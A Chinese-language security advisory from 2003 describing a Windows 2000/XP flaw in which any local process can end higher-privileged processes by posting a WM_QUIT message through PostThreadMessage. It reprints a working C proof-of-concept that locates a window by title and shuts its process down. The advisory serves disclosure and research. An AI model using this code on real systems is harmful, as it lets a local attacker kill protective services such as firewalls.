安全研究

安全漏洞
Microsoft Windows PostThreadMessage()任意进程可结束漏洞

发布日期:2003-10-02
更新日期:2003-10-09

受影响系统:
Microsoft Windows XP Tablet PC Edition
Microsoft Windows XP Professional SP1
Microsoft Windows XP Professional
Microsoft Windows XP Media Center Edition
Microsoft Windows XP Home SP1
Microsoft Windows XP Home
Microsoft Windows XP Embedded SP1
Microsoft Windows XP Embedded
Microsoft Windows 2000SP4
Microsoft Windows 2000SP3
Microsoft Windows 2000SP2
Microsoft Windows 2000SP1
Microsoft Windows 2000
描述:
BUGTRAQ  ID: 8747

Microsoft Windows是微软开发和维护的操作系统。

Microsoft Windows在通过PostThreadMessage() API调用处理从另一进程发送的消息时存在问题,本地攻击者可以利用这个漏洞杀掉系统任意进程。

PostThreadMessage函数在指定线程的消息队列中放置消息,然后不等线程处理消息就返回。但Windows操作系统在处理消息机制上存在问题,通过PostThreadMessage函数给进程发一个WM_QUIT的消息,目标进程就会结束,虽然进程(服务)是以system权限运行的,但是没有对发送消息的进程进行有限的权限判别,因此任何进程可以向高权限进程发送消息,如给它发一个WM_QUIT消息,会导致进程退出。

不过一般对防火墙等进程进行操作时,会提示需要密码才能完成操作。

<*来源:Brett Moore (brett.moore@SECURITY-ASSESSMENT.COM
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=106511092016323&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Brett Moore(brett.moore@SECURITY-ASSESSMENT.COM) 提供了如下测试程序:

#include <windows.h>
#include <commctrl.h>
#include <stdio.h>
char tWindow[]="Windows Task Manager";// The name of the main window
char* pWindow;
int main(int argc, char *argv[])
{
        long hWnd,proc;
        DWORD hThread;
        printf("%% AppShutdown - Playing with PostThreadMessage\n");
        printf("%% brett.moore@security-assessment.com\n\n");
        // Specify Window Title On Command Line
        if (argc ==2)
                pWindow = argv[1];
        else
                pWindow = tWindow;

        printf("+ Finding %s Window...\n",pWindow);
        hWnd = (long)FindWindow(NULL,pWindow);
        if(hWnd == NULL)
        {
          printf("+ Couldn't Find %s Window\n",pWindow);
          return 0;
        }
        printf("+ Found Main Window At...0x%xh\n",hWnd);
        printf("+ Finding Window Thread..");
        hThread = GetWindowThreadProcessId(hWnd,&proc);
        if(hThread  == NULL)
        {
          printf("Failed\n");
          return 0;
        }
        printf("0x%xh Process 0x%xh\n",hThread,proc);
        printf("+ Send Quit Message\n");
        PostThreadMessage((DWORD) hThread,(UINT) WM_QUIT,0,0);
        printf("+ Done...\n");
        return 0;
}

建议:
厂商补丁:

Microsoft
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.microsoft.com/technet/security/

浏览次数:3412
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障